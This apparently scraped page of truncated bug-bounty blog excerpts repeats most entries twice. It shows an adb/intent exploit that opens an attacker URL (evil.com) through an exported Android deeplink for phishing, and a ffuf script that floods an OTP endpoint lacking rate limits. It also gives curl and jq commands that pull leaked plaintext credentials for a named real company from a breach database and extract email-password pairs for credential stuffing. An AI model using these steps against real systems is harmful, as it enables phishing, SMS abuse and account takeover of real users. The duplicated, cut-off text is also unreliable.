Xss in Android App
The app can be launched by any other app because its deeplink activity is exported=true. Adb exploit adb shell am start -a android.intent.action.VIEW -n com.redacted.android/"com.redacted.activities.DeepLinkActivity" -d "https://evil.com" Apk Exploit Intent intent = new Intent(); intent.setClassName("com.redacted.android","com.redcated.android.activities.DeepLinkActivity"); intent.setData(Uri.parse("https://evil.com")); startActivity(intent); Impact The attcker can craft a phishing page and g...
Xss in Android App
The app can be launched by any other app because its deeplink activity is exported=true. Adb exploit adb shell am start -a android.intent.action.VIEW -n com.redacted.android/"com.redacted.activities.DeepLinkActivity" -d "https://evil.com" Apk Exploit Intent intent = new Intent(); intent.setClassName("com.redacted.android","com.redcated.android.activities.DeepLinkActivity"); intent.setData(Uri.parse("https://evil.com")); startActivity(intent); Impact The attcker can craft a phishing page and g...
Android No Rate Limiting Leads to Mass SMS Brute-Force
Endpoint Requesting an otp but problem is there is no rate limiting. We can request unlimited otp’s. I crafted A ffuf Request to make it fast and easier#!/bin/bash // exploit.sh seq 1 9999 | ffuf -u https://sub.redacted.com/api/v2/otp -H 'accessToken:9CaeE1dbeMDfUw...' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept-Encoding: gzip, deflate' -H 'User-Agent: okhttp/4.0.1 FUZZ' -replay-proxy http://localhost:8080 -d 'param1=value1&data=919030178910 -w - ImpactAttacker can se...
Android No Rate Limiting Leads to Mass SMS Brute-Force
Endpoint Requesting an otp but problem is there is no rate limiting. We can request unlimited otp’s. I crafted A ffuf Request to make it fast and easier#!/bin/bash // exploit.sh seq 1 9999 | ffuf -u https://sub.redacted.com/api/v2/otp -H 'accessToken:9CaeE1dbeMDfUw...' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept-Encoding: gzip, deflate' -H 'User-Agent: okhttp/4.0.1 FUZZ' -replay-proxy http://localhost:8080 -d 'param1=value1&data=919030178910 -w - ImpactAttacker can se...
Xss in Android App
The app can be launched by any other app because its deeplink activity is exported=true.Adb exploitadb shell am start -a android.intent.action.VIEW -n com.redacted.android/"com.redacted.activities.DeepLinkActivity" -d "https://evil.com" Apk ExploitIntent intent = new Intent(); intent.setClassName("com.redacted.android","com.redcated.android.activities.DeepLinkActivity"); intent.setData(Uri.parse("https://evil.com")); startActivity(intent); ImpactThe attcker can craft a phishing page and grab ...
Xss in Android App
The app can be launched by any other app because its deeplink activity is exported=true.Adb exploitadb shell am start -a android.intent.action.VIEW -n com.redacted.android/"com.redacted.activities.DeepLinkActivity" -d "https://evil.com" Apk ExploitIntent intent = new Intent(); intent.setClassName("com.redacted.android","com.redcated.android.activities.DeepLinkActivity"); intent.setData(Uri.parse("https://evil.com")); startActivity(intent); ImpactThe attcker can craft a phishing page and grab ...
Credential Stuffing (part 2) CLI
Query to get the Data (it will be in json format) curl 'https://api.dehashed.com/search?query=domain:"swiggy.com"' \ -u email@email.com:api-key \ -H 'Accept: application/json' | tee dehashed_company_output.txt But how to format the output json to get only usernames,emails and passwords cat dehashed_company_output.txt | jq -r '.entries | .[] | select(.password|test(".+")) | [.email,.password] | join(“,“)' To get only emails cat dehashed_company_output.txt | jq -r ...
Credential Stuffing (part 2) CLI
Query to get the Data (it will be in json format) curl 'https://api.dehashed.com/search?query=domain:"swiggy.com"' \ -u email@email.com:api-key \ -H 'Accept: application/json' | tee dehashed_company_output.txt But how to format the output json to get only usernames,emails and passwords cat dehashed_company_output.txt | jq -r '.entries | .[] | select(.password|test(".+")) | [.email,.password] | join(“,“)' To get only emails cat dehashed_company_output.txt | jq -r ...
Credential Stuffing
Login with leaked credentials (But how to find the leaked credentials of the specific company 🤔? ) - How to get the plain text passwords of the company You have enumerated subdomains and you have come acrossed admin panels. You tried brute forcing credentials from public sources but no success. What should you do now ? You need to check the breached credentials of the specific company. which site you need to check ? dehashed.com Goto dehashed.com give the query domain:company.com If there is...
Credential Stuffing
Login with leaked credentials (But how to find the leaked credentials of the specific company 🤔? ) - How to get the plain text passwords of the company You have enumerated subdomains and you have come acrossed admin panels. You tried brute forcing credentials from public sources but no success. What should you do now ? You need to check the breached credentials of the specific company. which site you need to check ? dehashed.com Goto dehashed.com give the query domain:company.com If there is...
